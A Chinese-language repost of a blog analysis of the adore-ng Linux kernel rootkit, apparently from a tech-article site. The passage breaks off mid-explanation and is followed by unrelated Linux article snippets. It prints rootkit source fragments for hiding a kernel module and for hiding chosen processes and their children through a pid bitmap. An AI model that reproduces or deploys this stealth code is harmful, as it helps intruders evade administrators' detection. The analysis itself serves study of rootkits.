易截截图软件、单文件、免安装、纯绿色、仅160KB

两个linux内核rootkit 之二:adore ng

转自:http://blog.csdn.net/dog250/archive/2010/02/09/5303688.aspx
这个rootkit使用的技术不比前一个,它不是拦截系统调用,而是拦截具体文件系统的回调函数,本身文件系统的回调函数就是动态注册的,很是不确定,那么反黑软件自然就不能简单下结论说这个函数被黑掉了,因此这个rootkit看来比前一个略胜一筹,自然的,既然是内核模块,那么模块隐藏也是一个重要的内容,以下是一个简单的模块隐藏代码,使用此代码的前提就是将此模块紧接着希望被隐藏的模块之后加载:
...//省略头文件
int init_module()
{
if (__this_module.next) //这个逻辑很简单,由于被隐藏的模块在这个模块之前加载,那么之需要更改该模块的next指针即可
__this_module.next = __this_module.next->next;
return 0;
}
...//省略
该rootkit的第一步就是用所有的进程构建一个位图hidden_procs,如果哪个进程需要隐藏,那么就将该进程的pid所在的位置置1,反之置0
inline void hide_proc(pid_t x)
{
if (x >= PID_MAX || x == 1)
return;
hidden_procs[x/8] |= 1<<(x%8);
}
inline void unhide_proc(pid_t x)
{
if (x >= PID_MAX)
return;
hidden_procs[x/8] &= ~(1<<(x%8));
}
以下这个函数实际上和本rootkit无关,仅仅是一个帮助函数,但是还是列出来了,该函数的意义在于将一个字符串转化为一个数字
int adore_atoi(const char *str)
{
int ret = 0, mul = 1;
const char *ptr;
for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) ;
ptr--;
while (ptr >= str) {
if (*ptr < '0' || *ptr > '9')
break;
ret += (*ptr - '0') * mul;
mul *= 10;
ptr--;
}
return ret;
}
以下函数判断一个进程是否被隐藏,其实很简单,简单的说如果位图上该进程的pid对应的位置是1,那么就该隐藏,反之就不该被隐藏,另外还有一个策略,就是隐藏进程的子进程也应该被隐藏:
int should_be_hidden(pid_t pid)
{
struct task_struct *p = NULL;
if (is_invisible(pid)) {
return 1;
}
p = adore_find_task(pid);
if (!p)
return 0;
task_lock(p);
if (is_invisible(p->parent->pid)) {
task_unlock(p);
hide_proc(pid);
return 1;
}
task_unlock(p);
return 0;
}
查看进程的ps命令主要是遍历/proc文件系统的根目录,只要是数字的那么就被视为一个进程的pid,该rootkit隐藏进


相关文档:

Linux终端设备驱动(一)

在Linux系统中,终端设备非常重要,没有终端设备,系统将无法向用户反馈信息,Linux中包含控制台、串口和伪终端3类终端设备。
14.1终端设备
    在Linux系统中,终端是一种字符型设备,它有多种类型,通常使用tty来简称各种类型的终端设备。tty是Teletype的缩写,Teletype是最早出现的一种终端设备, ......

linux系统下文件的上传与下载命令


linux
系统下可以直接从客户端上传文件到服务器端,命令格式:
scp files user@server:filepath
解释:
files 待上传的文件,可以有多个,多个文件之间用空格隔开。也可以用*.filetype上传某个类型的全部文件
user 服务端登录用户名
server 服务器名(IP或域名)
filepath 上传到服务器的目标路径(这里注意此用户 ......

linux 命令 cd

1. cd -> 返回进入此目录之前所在的目录:cd -
2. 上一条命令 ->
                !! 全部的上一条命令
                !* 上一条命令的全部参数
      & ......

Suse Linux系统下JAVA AWT界面乱码问题

在Suse10.1下安装EOS5.3,界面按钮凡中文都是方格,可在终端查看中文都是好的,网上搜了好几天,终于弄明白原因。
 
EOS5.3使用的是jdk1.4.2,在suse下没有jdk默认要求的中文字体,需要做额外的配置,修改方法如下:
 
1.使用su命令切换为root用户,再使用cd命令切换到jdk安装路径下的jre;例如:
  ......

linux 配置weblogic domain

1.
讲当前目录定位到当前使用的
weblogic
的安装目录下,如下所示
dc-test1<oracle>ls
logs           
osb_10.3       
patch_wls1030  
registry.dat   
tools  &nbs ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号